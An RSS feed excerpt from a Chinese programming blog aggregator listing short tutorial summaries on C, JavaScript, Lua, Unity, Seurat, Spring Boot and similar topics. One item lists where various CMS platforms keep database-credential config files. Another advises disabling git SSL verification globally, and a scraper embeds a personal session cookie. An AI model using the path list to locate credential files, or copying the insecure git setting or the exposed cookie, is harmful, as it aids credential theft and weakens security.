      <description>背景介绍&#xA;在嵌入式系统中， 通常会使用串口发送字符串的方式与通信模块通信，比如NBIoT模块。 有的通信模块不支持二进制形式进行透传，需要MCU事先将二进制数据转换为十六进制的字符串形式发送。比如，MCU需要发送的数据为0x1234，但通信模块只能接受字符串形式，因此必须要将其转换成字符串形式的&#34;1234&#34;，通信模块才能正常接收处理。&#xA;具体要求&#xA;请实现一个转换函数void to_hex_string(char* pSrc, char* pDst, int len) 其中，原始二进制数据从pSrc输入，len表示数据的长度，转换后的结果保存到pDst中，pDst指向一个长度足够长的数组变量。 最后，打印该字符串的内容。&#xA;代码如下&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; void to_hex_string(const char *pSrc, char *pDst, int len) { const char mapping_hex_string[] = &#34;0123456789ABCDEF&#34;; for (int i = 0; i &amp;lt; len; i++, pSrc++) { pDst[i * 2] = mapping_hex_string[*pSrc &amp;gt;&amp;gt; 4]; // printf(&#34;pDst[i * 2]=%c\n&#34;, pDst[i * 2]); pDst[i * 2 + 1] = mapping_hex_string[*pSrc &amp;amp; 15]; // printf(&#34;pDst[i * 2 + 1]=%c\n&#34;</description>
    </item>
    <item>
      <title>JS数据结构-队列</title>
      <link>https://bchobby.github.io/posts/eb4942b630760c33266181cc4ed372b8/</link>
      <pubDate>Fri, 08 Oct 2021 16:29:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb4942b630760c33266181cc4ed372b8/</guid>
      <description>队列：数据结构&#xA;存在两个指针，头指针：front 尾指针：rear&#xA;初始状态：&#xA;输入过程中:&#xA;输出过程：（未画）&#xA;方法： 输出: 头指针进行输入&#xA;输入：尾指针后添加&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script&amp;gt; //队列的模拟 数据的结构 // 队列的特点，先入，先出，有输入，有弹出，弹出的时候，是弹出的那个指。 function Queue() { //节点类型 const node = function (ele) { this.ele = ele; this.next = null; } //初始化长度; this.length = 0; //有两个指针: 头指针，尾指针 this.front = null; this.rear = null; //添加节点。 //两种情况： //第一种情况：头指针，尾指针指向第一个节点 此刻长度为0； //第二种情况，长度大于0,头指针不一定，尾指针移动。 this.push = function (ele) { // 就需要创建一个节点： let newnode = new node(ele); if (this.</description>
    </item>
    <item>
      <title>力扣435题（贪心算法，无重叠区间）</title>
      <link>https://bchobby.github.io/posts/716d1d170f96e52cfe78303bba982662/</link>
      <pubDate>Thu, 07 Oct 2021 14:45:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/716d1d170f96e52cfe78303bba982662/</guid>
      <description> 452.给定一个区间的集合，找到需要移除区间的最小数量，使剩余区间互不重叠。&#xA;注意:&#xA;可以认为区间的终点总是大于它的起点。&#xA;区间 [1,2] 和 [2,3] 的边界相互“接触”，但没有相互重叠。&#xA;这个题第一眼看下来就隐隐约约感觉需要先进行排序才可以做，但是又感觉不太需要，觉得遍历一下每个区间然后发现重叠就进行计数就可以了，但是一动手又不知道应该怎么去做，比如如果有三个区间，那么如果第二个区间跟第一个和第三个区间都有相交的话，那么显然我可以去掉第二个区间就不会有重叠区间了，但是按照我前面这种想法的话那就是要去掉两个区间，这肯定是不对的。所以只能带着疑问看看题解。题解的解法确实是用了排序，但是感觉整体思路跟自己之前的想法还是不太一样，比较巧妙。题解是将这些区间按照右边界进行一个升序排序，然后记录非交叉区间的个数，最后用区间数量减去非交叉区间就得到需要去除的区间数量。这里所谓的非交叉区间，实际上是这样的。在给所有的区间排好序之后，一开始选定第一个区间的右边界作为分割点，那么往后遍历区间，出现的第一个不与该分割点产生交集的区间就是所谓的非交叉区间，然后将这个区间的右边界作为分割点，再进一步寻找下一个非交叉区间。这道题目的贪心体现在：&#xA;局部最优：给区间按右区间排序完后，当有重叠区间的时候，优先保留右边界小的区间，尽可能留给下一个区间更大的空间，从而避免重叠。&#xA;全局最优：选取最多的非交叉区间，从而得到最少的去除区间数量。说实话代码写下来还是比较简单的，但是具体解题的思路还是比较难以理解，需要多加琢磨。代码如下 int cmp_int(const void* _a, const void* _b) { int** a = (int**)_a; int** b = (int**)_b; return (*a)[1] - (*b)[1]; } int eraseOverlapIntervals(int** intervals, int intervalsSize, int* intervalsColSize){ if (intervalsSize == 0) return 0; // 按照右边界进行升序排序 qsort(intervals, intervalsSize, sizeof(int) * 2, cmp_int); int count = 1; //记录非交叉区间的个数 int end = intervals[0][1]; for (int i = 1; i &amp;lt; intervalsSize; i++) { if (end &amp;lt;= intervals[i][0]) { end = intervals[i][1]; count++; } } return intervalsSize - count; </description>
    </item>
    <item>
      <title>WWW类过时提示使用 UnityWebRequest</title>
      <link>https://bchobby.github.io/posts/7f39027e8f59c6307cc1c04e9bd4fa6c/</link>
      <pubDate>Wed, 06 Oct 2021 21:32:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f39027e8f59c6307cc1c04e9bd4fa6c/</guid>
      <description>学习笔记&#xA;其中包括&#xA;加载音频&#xA;加载图片&#xA;加载AssetBundle&#xA;加载文本文件&#xA;using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.Networking; using System; public class GetPost : MonoBehaviour { private string mMusicURL; private string mMusicWebURL; private string mImageURL; private string mImageWebURL; private string mAssetBundleURL; private string mAssetBundleWebURL; private string mFileURL; private string mFileWebURL; void Start() { mMusicURL = Application.dataPath + &#34;/少年.ogg&#34;; mMusicWebURL = &#34;http://localhost/少年.ogg&#34;; // mMusicWebURL = &#34;https://mp32.9ku.com/upload/128/2019/05/23/892204.mp3&#34;; mImageURL = Application.dataPath + &#34;/Texture/003.png&#34;; mImageWebURL = &#34;</description>
    </item>
    <item>
      <title>生信入门（六）——单细胞分析（Seurat）</title>
      <link>https://bchobby.github.io/posts/563c0c90a30e7bb7f902764ecc45cc7d/</link>
      <pubDate>Wed, 06 Oct 2021 18:55:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/563c0c90a30e7bb7f902764ecc45cc7d/</guid>
      <description>生信入门（六）——单细胞分析（Seurat） 文章目录 生信入门（六）——单细胞分析（Seurat）一、数据导入1、数据来源2、数据导入 二、标准预处理1、QC和选择细胞进行进一步分析2、规范化数据3、识别高度可变的特征（特征选择）4、缩放数据 三、主成分分析（PCA）1、线性降维2、确定数据集的“维度” 四、聚类细胞五、非线性降维（UMAP/tSNE）六、寻找差异表达的特征（簇生物标志物） 一、数据导入 1、数据来源 点击此处下载数据&#xA;数据说明：分析10X Genomics提供的外周血单细胞（PBMC）数据集，有2700个单细胞在illuminate NextSeq500上测序&#xA;2、数据导入 setwd(&#34;D:/RData/prac004&#34;) # BiocManager::install(&#34;Seurat&#34;) library(Seurat) library(dplyr) library(patchwork) # 导入数据 pbmc.data&amp;lt;-Read10X(data.dir = &#34;./filtered_gene_bc_matrices/hg19&#34;) # 初始化seurat数据 pbmc&amp;lt;-CreateSeuratObject(counts = pbmc.data,project = &#34;pbmc3k&#34;,min.cells = 3,min.features = 200) # pbmc 运行结果&#xA;二、标准预处理 该处包括基于QC指标（质控分析）、数据标准化和缩放以及高度可变特征检测的细胞选择和过滤&#xA;1、QC和选择细胞进行进一步分析 常用的QC指标包括：&#xA;在每个细胞中检测到的独特基因的数量。&#xA;低质量细胞或空液滴通常只有很少的基因 细胞双联体或多重联体可能表现出异常高的基因计数 同样，在细胞内检测到的分子总数（与独特的基因密切相关）&#xA;映射到线粒体基因组的读数百分比&#xA;低质量/垂死的细胞通常表现出广泛的线粒体污染 我们使用该PercentageFeatureSet()函数计算线粒体 QC 指标，该函&#x9;数计算源自一组特征的计数百分比 我们使用所有基因MT-的集合作为一组线粒体基因 #使用PercentageFeatureSet函数计算线粒体QC指标 pbmc[[&#39;percent.mt&#39;]]&amp;lt;-PercentageFeatureSet(pbmc,pattern = &#34;^MT-&#34;) # 使用violin plot可视化 QC指标，并使用这些指标过滤单元格 VlnPlot(pbmc,features = c(&#34;nFeature_RNA&#34;,&#34;nCount_RNA&#34;,&#34;percent.mt&#34;),ncol = 3) # FeatureScatter 通常用于可视化两个特征之间的关系 plot1&amp;lt;-FeatureScatter(pbmc,feature1 = &#34;</description>
    </item>
    <item>
      <title>制作window11系统U盘启动盘</title>
      <link>https://bchobby.github.io/posts/11b972b8f0677b88a25179f8e1c3b43d/</link>
      <pubDate>Wed, 06 Oct 2021 18:52:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11b972b8f0677b88a25179f8e1c3b43d/</guid>
      <description>目录 前言1. U盘分区2. 复制系统文件到U盘3. 编辑bcd文件4. 查看系统安装盘（U盘） 前言 制作系统安装U盘需要使用到bootice这个工具(下载地址)，它主要是用来给U盘分区以及编辑bcd引导文件的。&#xA;这里说明一下为什么给U盘分区，主要是因为uefi启动现在目前只支持Fat文件格式，但是它有一个缺点就是支持的单个文件大小最大到4GB,也就说系统文件单个有大于4GB的就放不了，所以这里我分了两个分区，一个是引导分区，给300MB足以，文件格式为Fat32，剩下的空间为普通分区，文件格式为exfat或是NTFS都可以，这两个文件系统格式支持最大为TB级，所以可以支持大于4GB的单个文件（主要是这个install.wim文件大于4GB），我这里就把镜像文件里面的sources文件夹全部放在普通分区，然后把引导分区里面的bcd文件指向sources文件夹所在的分区就可以了&#xA;1. U盘分区 打开bootice工具，选中我们要制作系统U盘启动盘，点击分区管理进入分区管理界面&#xA;点击重新分区&#xA;选择USB-HDD模式（多分区），点击确定&#xA;设置分区参数如下，点击确定执行分区&#xA;分区完成显示如下:&#xA;2. 复制系统文件到U盘 把window11的iso镜像的文件（除了sources文件夹）全部复制到刚才完成分区的引导分区（FAT32的那个分区）&#xA;把window11的iso镜像sources文件夹复制到刚才完成分区的普通分区（ExFAT的那个分区）&#xA;3. 编辑bcd文件 bootice切换到BCD编辑，选择其他BCD文件&#xA;选中U盘引导分区根目录下boot文件夹下的bcd文件&#xA;点击智能编辑模式，进入bcd文件编辑界面&#xA;启动磁盘就选我们制作系统安装盘的U盘，启动分区就选sources文件夹所在的分区，然后点击保存当前系统设置，点击关闭退出&#xA;再选中U盘引导分区根目录下efi/microsoft/boot文件夹里面的bcd文件&#xA;再次点击智能编辑模式，进入bcd文件编辑界面&#xA;启动磁盘就选我们制作系统安装盘的U盘，启动分区就选sources文件夹所在的分区，然后点击保存当前系统设置，点击关闭退出&#xA;到此编辑BCD引导文件完成&#xA;4. 查看系统安装盘（U盘） 这里可以看到U盘分成了两个分区，并且引导分区已经显示系统安装盘的图标了，到此大功告成，可以去试试我们的系统安装盘了。</description>
    </item>
    <item>
      <title>JavaScript数组常用方法</title>
      <link>https://bchobby.github.io/posts/43680d26c42e41b0923cffc95c95d8d4/</link>
      <pubDate>Tue, 05 Oct 2021 19:12:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43680d26c42e41b0923cffc95c95d8d4/</guid>
      <description>1. 向数组的末尾添加（push）&#xA;2. 向数组的末尾删除（pop）&#xA;3. 向数组的开头添加元素（unshift）&#xA;4. 向数组的开头删除元素（shift）&#xA;5. 数组排序（sort）&#xA;6. 替换或删除数组中的元素（splice）&#xA;7. 数组反转（reverse）&#xA;8. 连接两个数组（concat）&#xA;9. 从数组中截取元素（slice）&#xA;10. 查到数组中的元素 indexOf()&#xA;inCludes()&#xA;11. 遍历数组 forEach&#xA;12. 当数组中所有元素都满足条件，返回true，只要有一个不满足条件，返回 false（every）&#xA;13. 当数组中所有元素都不满足条件，返回false,只要有一个条件满足，返回true(some)&#xA;14. 数组过滤方法 （filter）&#xA;15. 数组映射方法（map）&#xA;16. 判断数组中的元素是否满足条件，返回第一个满足条件的下标（findIndex）&#xA;17. 判断数组中的元素是否满足条件，返回第一个满足条件的元素（find）&#xA;18. 判断一个变量是否是数组（isArray）</description>
    </item>
    <item>
      <title>基于Pytorch下在Huggingface中加载数据集参考资料</title>
      <link>https://bchobby.github.io/posts/a2e3aa8eadaf80c1d13186ffa920360d/</link>
      <pubDate>Tue, 05 Oct 2021 15:30:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2e3aa8eadaf80c1d13186ffa920360d/</guid>
      <description>基于Pytorch下在Huggingface中加载数据集参考资料 1. 加载公共/本地数据集到环境中 加载公共数据集并进行增删改查等预处理步骤Use the Datasets library of Hugging Face in your next NLP project&#xA;写脚本scirpt.py加载本地数据集并在github上push pull等My experience with uploading a dataset on HuggingFace’s dataset-hub&#xA;如何写一个脚本HuggingFace Datasets来写一个数据加载脚本&#xA;2. 加载数据喂给torch Pytorch教程：Dataset和DataLoader&#xA;在pytorch中自定义dataset读取数据</description>
    </item>
    <item>
      <title>C&#43;&#43;1.作业定义学生类Student：每个学生的信息包含有姓名（字符指针）和成绩（int类型），定义两个构造函数2.设计一个点类Point，分别用成员函数、友元函数、普通函数求两点之间的距离。</title>
      <link>https://bchobby.github.io/posts/32abb353f7d038299dedac05fb1d275f/</link>
      <pubDate>Fri, 01 Oct 2021 21:59:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32abb353f7d038299dedac05fb1d275f/</guid>
      <description>(程序题)&#xA;定义学生类Student：每个学生的信息包含有姓名（字符指针）和成绩（int类型），定义两个构造函数：&#xA;1、 定义带两个参数的构造函数，在构造函数中为保存姓名信息的字符指针开辟空间，并向空间中存入表示姓名的字符串。&#xA;2、 定义拷贝构造函数，完成深拷贝&#xA;3、 定义析构函数，释放资源&#xA;4、 统计学生的总人数&#xA;编写程序，使用以上定义的三种函数。&#xA;使用的主函数进行测试，代码如下： int main()&#xA;{&#xA;Student stu1(“John”, 98);&#xA;Student stu2(stu1);&#xA;Student *pstu=new Student(“Tom”,99);&#xA;cout&amp;lt;&amp;lt;“共”&amp;lt;&amp;lt;Student::getCount()&amp;lt;&amp;lt;“名学生。”&amp;lt;&amp;lt;endl;&#xA;delete pstu;&#xA;cout&amp;lt;&amp;lt;“共”&amp;lt;&amp;lt;Student::getCount()&amp;lt;&amp;lt;“名学生。”&amp;lt;&amp;lt;endl;&#xA;stu2.setName(“Tom”);&#xA;stu1.print_info();&#xA;stu2.print_info();&#xA;return 0;&#xA;}&#xA;输出（注意：逗号后有一空格）：&#xA;共3名学生。&#xA;共2名学生。&#xA;name:John, score:98&#xA;name:Tom, score:98&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; class Student { public: Student(string name, int score) { num++; m_name = new string(name); m_score = score; } Student(const Student&amp;amp; p) { num++; m_name = new string(*p.</description>
    </item>
    <item>
      <title>springboot中@Test注解碰到的问题 详细</title>
      <link>https://bchobby.github.io/posts/e295e325af79aca2a2fde307c388c18d/</link>
      <pubDate>Fri, 01 Oct 2021 20:25:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e295e325af79aca2a2fde307c388c18d/</guid>
      <description>当我们初始化springboot项目的时候，会自动给我们导入一下该测试的依赖，springboot项目所有测试类都依赖该依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; 初始化给我们导入了import org.junit.jupiter.api.Test类&#xA;springboot提供的测试类&#xA;package com.zz.es02; import org.junit.jupiter.api.Test; import org.springframework.boot.test.context.SpringBootTest; @SpringBootTest class Es02ApplicationTests { @Test void contextLoads() { } } 但@Test还有一个类是import org.junit.Test&#xA;package com.zz.es02; import org.junit.Test; import org.springframework.boot.test.context.SpringBootTest; /** * @Author zz * @Date 2021/10/1 19:47 */ @SpringBootTest public class test { @Test //该测试类必须加上public权限修饰符 public void test(){ System.out.println(&#34;Method test() should be public&#34;); } } 我们创建测试类的时候很容易导错包，那么springboot提供的这两个测试类，什么区别那？&#xA;org.junit.Test&#xA;该类定义的方法必须带有权限修饰符&#xA;用在2.2.x之前&#xA;org.junit.jupiter.api.Test&#xA;用在2.2.x之后&#xA;2.2.x之后规范使用org.junit.Test不会报异常&#xA;但2.2.x之前使用org.junit.jupiter.api.Test会报异常&#xA;还有时候会碰到@RunWith(SpringRunner.class)注解的测试类，那么使用该测试类首先要导入以下junit的依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 测试类</description>
    </item>
    <item>
      <title>C语言实现——打印菱形</title>
      <link>https://bchobby.github.io/posts/7001596bf38dcb939aee640629c486ad/</link>
      <pubDate>Fri, 01 Oct 2021 18:06:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7001596bf38dcb939aee640629c486ad/</guid>
      <description>目录&#xA;前言&#xA;如何实现&#xA;代码实现&#xA;定义一个变量line来接收输入的行数&#xA;实现上半部分&#xA;实现下半部分&#xA;代码汇总 前言 输入一个数，打印对应的菱形&#xA;该菱形表现为：&#xA;从第一行到中间行的行数为输入的数，&#xA;从中间行到结束行的行数为输入的数。&#xA;如图：输入7，打印以下菱形&#xA;如何实现 实现的思路如下：&#xA;经过观察可以发现，菱形是由空格和 * 组成的，就可以分四步来实现&#xA;1.定义一个变量line来接收输入的行数，假设输入值为7&#xA;2.将菱形分解为两部分，上半部分和下半部分&#xA;定义一个变量 i ,循环打印上半部分和下半部分每行的内容，i 从0开始&#xA;上半部分行数为 line&#xA;下半部分行数为 line-1&#xA;3.打印上半部分的内容&#xA;4.打印下半部分的内容&#xA;代码实现 定义一个变量line来接收输入的行数 #include &amp;lt;stdio.h&amp;gt; int main() { int line = 0; scanf(&#34;%d&#34;,&amp;amp;line); return 0; } 实现上半部分 //上半部分 int i = 0; for (i = 0; i &amp;lt; line; i++) { //打印一行 //空格 int j = 0; for (j = 0; j &amp;lt; line - 1 - i; j++) { printf(&#34;</description>
    </item>
    <item>
      <title>网站的数据库在哪里？</title>
      <link>https://bchobby.github.io/posts/99890ae02c1299eeb8be6bb95f270304/</link>
      <pubDate>Fri, 01 Oct 2021 13:50:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99890ae02c1299eeb8be6bb95f270304/</guid>
      <description>某个数据库文件夹里。一般会命名为data之类的。你可以搜索一下。另外可以按文件大小排序，一般数据库文件会特别大&#xA;一般命名为config.php，或con.php&#xA;附： 几个常用CMS网站程序数据库路径地址&#xA;帝国CMS /e/class/config.php&#xA;ECShop /data/config.php&#xA;ShopEX /config/config.php&#xA;WordPress /wp-config.php&#xA;Joomla! /configuration.php&#xA;HDWiki /config.php&#xA;PHPwind 8.0 /data/sql_config.php&#xA;织梦Dede /data/config.cache.inc.php&#xA;phpcms /include/config.inc.php&#xA;康盛 UCenter /data/config.inc.php&#xA;Discuz! /config.inc.php&#xA;UCH /config.php</description>
    </item>
    <item>
      <title>eCharts无数据时 清空图形</title>
      <link>https://bchobby.github.io/posts/6e0b27eaf5519f0d5d8cf6806d085ea5/</link>
      <pubDate>Thu, 30 Sep 2021 13:56:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e0b27eaf5519f0d5d8cf6806d085ea5/</guid>
      <description>eCharts中通过后台返回值来渲染的data 数据&#xA;发现返回值为空时，图形依然有内容，&#xA;1. 将data部分都做空&#xA;2.还有一点就是 myChart.setOption(option, true)&#xA;这里的true要加上，此处的true会重新渲染，并且不合并上一次的结果， 默认为 false&#xA;参考：echarts重绘 &amp;amp;setOption第二个参数的含义_mrhaoxiaojun的博客-CSDN博客_setoption</description>
    </item>
    <item>
      <title>SSL certificate problem</title>
      <link>https://bchobby.github.io/posts/63620a260505b015b06d738f0c16fdd0/</link>
      <pubDate>Thu, 30 Sep 2021 10:45:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63620a260505b015b06d738f0c16fdd0/</guid>
      <description> 在clone 仓库的时候报：SSL certificate problem: unable to get local issuer certificate&#xA;大概就是 SSL证书过期导致的&#xA;解决办法：&#xA;直接关闭SSL证书校验&#xA;git config --global http.sslVerify false </description>
    </item>
    <item>
      <title>lua 贪心算法（找钱算法)</title>
      <link>https://bchobby.github.io/posts/83e5cb22dae50e1f2ec29ef5e6a24171/</link>
      <pubDate>Thu, 30 Sep 2021 10:35:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83e5cb22dae50e1f2ec29ef5e6a24171/</guid>
      <description> function GetChipsFromNum(num) if not num then return end gLog(&#34;--- 开始找钱&#34;) local chipType = {1, 2, 5, 10, 50, 100, 500, 1000, 5000} -- 排序 table.sort(chipType, function(a, b) return a &amp;gt; b end) local changeTbl = {} for k,value in pairs(chipType) do local zheng_shu = math.floor(num/value) local yu_shu = num%value if zheng_shu ~= 0 then num = yu_shu table.insert(changeTbl, {chipsType = value, num = zheng_shu}) gLog(&#34;币种：{2}-- 数量：{0} --- 余数：{1}&#34;, zheng_shu, yu_shu, value) end end return changeTbl end </description>
    </item>
    <item>
      <title>[lua] cannot use ‘...‘</title>
      <link>https://bchobby.github.io/posts/d4e733aa8cb9c36370c00fa097cb6eda/</link>
      <pubDate>Thu, 30 Sep 2021 10:32:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4e733aa8cb9c36370c00fa097cb6eda/</guid>
      <description> [lua] cannot use ‘…’ 使用可变长参数，遇到如下&#xA;cannot use &#39;...&#39; outside a vararg function near &#39;...&#39; 出现问题示例：&#xA;local testFn = function(cb) cb() end local testFn2 = function(cb, ...) testFn(function() cb(...) end) end 引发错误原因：不可以在一个可变长参数函数的外部使用…，因为 … 是匿名的，lua5.1以后不再为vararg自动创建一个表，需要我们手动创建表：&#xA;local testFn = function(cb) cb() end local testFn2 = function(cb, ...) local args = {...} testFn(function() cb(unpack(args)) end) end </description>
    </item>
    <item>
      <title>利用python爬虫程序爬取豆瓣影评</title>
      <link>https://bchobby.github.io/posts/a10f45bf5f2b2eb536d19fa94fe1aa13/</link>
      <pubDate>Wed, 29 Sep 2021 22:32:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a10f45bf5f2b2eb536d19fa94fe1aa13/</guid>
      <description>获取至少两个页面的豆瓣影评，包括每一条影评的标题、评论，然后将多条影评信息存入CSV文件。&#xA;具体代码如下：&#xA;#doubanyingping.py import requests from bs4 import BeautifulSoup import re def getHTMLText(url): kv={&#39;cookie&#39;:&#39;viewed=&#34;26987890&#34;; bid=LtZlXs-lxWE; __gads=ID=2f05664627755103-228fcabf2eca0085:T=1625664681:RT=1625664681:S=ALNI_MbErnNq9E-gQKSusKFmubZ33JrR1A; gr_user_id=23ab9cd5-12ea-402d-af1f-f82384037c1a; douban-fav-remind=1; ll=&#34;108291&#34;; dbcl2=&#34;220543507:+d6RaThYFJg&#34;; push_noty_num=0; push_doumail_num=0; _vwo_uuid_v2=D2BBDC590CDF4A6D94F22488FC0507F3C|f20d9349bb838c0ffda7ad25fbd40373; __utmz=30149280.1631793610.4.3.utmcsr=link.csdn.net|utmccn=(referral)|utmcmd=referral|utmcct=/; __utmz=223695111.1631793610.2.2.utmcsr=link.csdn.net|utmccn=(referral)|utmcmd=referral|utmcct=/; ck=re1Y; __utma=30149280.516384608.1625664683.1632279401.1632391188.7; __utmb=30149280.0.10.1632391188; __utmc=30149280; __utma=223695111.1494505190.1631782526.1632279401.1632391188.5; __utmb=223695111.0.10.1632391188; __utmc=223695111; _pk_ref.100001.4cf6=%5B%22%22%2C%22%22%2C1632391194%2C%22https%3A%2F%2Flink.csdn.net%2F%3Ftarget%3Dhttps%253A%252F%252Fmovie.douban.com%252Ftop250%253Fstart%253D0%2526filter%253D%22%5D; _pk_id.100001.4cf6=f45412f108713ba2.1631782532.5.1632391194.1632279427.; _pk_ses.100001.4cf6=*&#39;, &#39;user-Agent&#39;:&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36&#34;} try: r = requests.get(url,headers=kv,timeout=30) r.raise_for_status() r.encoding = &#39;utf-8&#39; return r.text except: return &#34;&#34; def fillReviewList(rlist,html): soup = BeautifulSoup(html,&#34;html.parser&#34;) for div in soup.find_all(&#39;div&#39;,{&#34;class&#34;:&#34;main-bd&#34;}): rlist.</description>
    </item>
    <item>
      <title>用python编写程序，输入三门课成绩，计算平均值和总分。</title>
      <link>https://bchobby.github.io/posts/a99123bcfc9678b1f25fd40937293043/</link>
      <pubDate>Tue, 28 Sep 2021 21:48:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a99123bcfc9678b1f25fd40937293043/</guid>
      <description>python小作业 a=input(&#34;请输入三科成绩(用空格分隔）：&#34;) b=a.split(&#34; &#34;) b[0]=int(b[0]) b[1]=int(b[1]) b[2]=int(b[2]) print(&#34;均分：%d&#34;%((b[0]+b[1]+b[2])/3)) print(&#34;总分：%d&#34;%(b[0]+b[1]+b[2])) 平时的小练习，谢谢大家的关注！！！</description>
    </item>
    <item>
      <title>Andoid 仿自如裸眼 3D 效果</title>
      <link>https://bchobby.github.io/posts/9fcd9431d86d9f8331a5bdc2833ecf7d/</link>
      <pubDate>Mon, 27 Sep 2021 17:17:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fcd9431d86d9f8331a5bdc2833ecf7d/</guid>
      <description>目录&#xA;前言&#xA;1.自如的思路分析探究&#xA;2.具体实现&#xA;2.1 实现效果&#xA;2.2 具体实现&#xA;2.3 使用步骤&#xA;3.补充说明&#xA;4.最后&#xA;前言 前段时间自如技术团队发布了一篇名为《自如客APP裸眼3D效果的实现》的技术分享文章，简述了通过将图层分为前中后景，监听手机倾斜角度，再根据倾斜角度反向移动前后景，实现类似裸眼 3D 的效果。 该文章中已将思路与原理讲述清楚，抱着好奇心尝试仿现了一下。&#xA;1.自如的思路分析探究 1.1 自如 APP 上的裸眼 3D 效果 UI 层面上：将普通的 2D 图像切割出 背景、中景、前景 三个部分&#xA;1.2 普通 2D 图像 1.3 切割出来的 背景、 中景 及 前景 ( “ 切割 ” 这部分操作当然是交给专业的 UI 同事来进行)&#xA;技术层面上：通过 Android 中的 磁场传感器 和 加速度传感器 监听设备的倾斜角度，保持 中景 不动，根据倾斜角度反向移动 背景 和 前景 ，将 2D 图像转化为景深效果，呈现出类似裸眼 3D 的视觉效果。&#xA;1.4 根据倾斜角移动前后景（图片来自自如技术文章） 思路上就是这么清晰和简单，需求如下：&#xA;根据设备倾斜角度 平稳移动 前后景，实现裸眼 3D 效果</description>
    </item>
    <item>
      <title>算法基础部分6-贪心算法</title>
      <link>https://bchobby.github.io/posts/55b239735181fe64921eb1dd19b648ac/</link>
      <pubDate>Mon, 27 Sep 2021 00:18:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55b239735181fe64921eb1dd19b648ac/</guid>
      <description>算法部分 基础6 一、贪心算法简述 贪心算法的每一步行动总是按照某种指标选取最优的操作来进行该指标，只看眼前并不考虑以后可能造成的影响。证明方法通过替换法和数学归纳法实现。&#xA;二、贪心算法例子 1. 圣诞老人的礼物 问题描述：圣诞节来临了，中圣诞老人准备分发糖果，现在有多箱不同的糖果，每箱糖果都有自己的价值和重量，每箱糖果都可以拆分成任意散装组合带走。圣诞老人的驯鹿雪橇最多只能装下重量为 W 的糖果，请问圣诞老人最多能带走多大价值的糖果。&#xA;输入：第一行由两个部分组成，分别为糖果箱数正整数 n (1 &amp;lt;= n &amp;lt;= 100), 驯鹿能承受的最大重量正整数 w (0 &amp;lt; w &amp;lt; 10000), 两个数用空格隔开。其余 n 行每行对应一箱糖果，由两部分组成，分别为一箱糖果的价值正整数 v 和重量 正整数 w , 中间用空格隔开。 输出：输出为圣诞老人能带走的糖果的最大总价值，保留 1 位小数。输出为一 行，以换行符结束。 样例输入 输入： 4 15 100 4 412 8 266 7 591 2 输出： 1193.0 分析和程序如下&#xA;按礼物的价值/重量比从大到小一次选取礼物，对选取的礼物尽可能地多装，直到 重量为 w , 复杂度 O(nlogn). 程序如下： #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;iostream&amp;gt; #include &amp;lt;algorithm&amp;gt; using namespace std; const double eps = 1e-6; struct Candy{ int v; int w; }candies[110]; //箱子按单位重量价值排序 bool operator &amp;lt; (const Candy &amp;amp; a, const Candy &amp;amp; b) { return float(a.</description>
    </item>
    <item>
      <title>修改第三方源码</title>
      <link>https://bchobby.github.io/posts/e8c7a4325cdf84b0f87dffe320bc6dd9/</link>
      <pubDate>Sun, 26 Sep 2021 19:48:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8c7a4325cdf84b0f87dffe320bc6dd9/</guid>
      <description>如果第三方库通过pip instal *或者conda install *安装，那么直接更改’…/site_packages/…’中相应的.py文件将不起作用（Python: how to edit an installed package?），这是因为使用pip安装库时已经自动编译了python代码，所以更改原始文件并没有改动编译内容。此时可以将该项目源码从GitHub中clone下来，更改源码，然后使用python setup.py build和python setup.py install手动安装。&#xA;注意在Pycharm中clone完以后需要标识为Source才能够继续使用。</description>
    </item>
    <item>
      <title>Linux系统设置history显示命令运行的时间</title>
      <link>https://bchobby.github.io/posts/64d72bbe5c12fb1e9da290b19972d372/</link>
      <pubDate>Sun, 26 Sep 2021 17:00:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64d72bbe5c12fb1e9da290b19972d372/</guid>
